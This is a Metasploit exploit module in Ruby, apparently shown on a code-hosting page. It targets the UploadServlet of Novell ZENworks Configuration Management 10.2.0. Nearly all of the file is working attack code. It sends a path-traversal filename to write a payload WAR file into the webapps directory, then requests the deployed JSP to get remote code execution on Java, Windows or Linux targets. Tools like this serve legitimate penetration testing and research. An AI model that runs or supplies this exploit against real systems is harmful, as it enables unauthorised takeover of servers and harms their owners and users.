metasploit-framework/modules/exploits/windows/http/zenworks_uploadservlet.rb

101 lines
2.8 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Novell ZENworks Configuration Management Remote Execution',
'Description' => %q{
This module exploits a code execution flaw in Novell ZENworks Configuration Management 10.2.0.
By exploiting the UploadServlet, an attacker can upload a malicious file outside of the TEMP directory
and then make a secondary request that allows for arbitrary code execution.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '63412' ],
[ 'BID', '39114' ],
[ 'ZDI', '10-078' ],
[ 'URL', 'http://tucanalamigo.blogspot.com/2010/04/pdc-de-zdi-10-078.html' ],
[ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7005573' ]
],
'Privileged' => true,
'Platform' => %w{ java linux win },
'Targets' =>
[
[ 'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
},
],
[ 'Windows x86',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
},
],
[ 'Linux x86', # should work but untested
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
},
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 30 2010'))
end
def exploit
# Generate the WAR containing the EXE containing the payload
app_base = rand_text_alphanumeric(4+rand(32-4))
jsp_name = rand_text_alphanumeric(8+rand(8))
war_data = payload.encoded_war(:app_name => app_base, :jsp_name => jsp_name).to_s
res = send_request_cgi({
'uri' => '/zenworks/UploadServlet',
'method' => 'POST',
'data' => war_data,
'headers' => {
'Content-Type' => 'application/octet-stream',
},
'encode_params' => false,
'vars_get' => {
'filename' => "../../webapps/#{app_base}.war"
}
})
print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...")
select(nil, nil, nil, 20)
if (res && res.code == 200)
print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...")
send_request_raw(
{
'uri' => "/#{app_base}/" + "#{jsp_name}" + '.jsp',
'method' => 'GET',
})
else
print_error("Denied...")
end
handler
end
end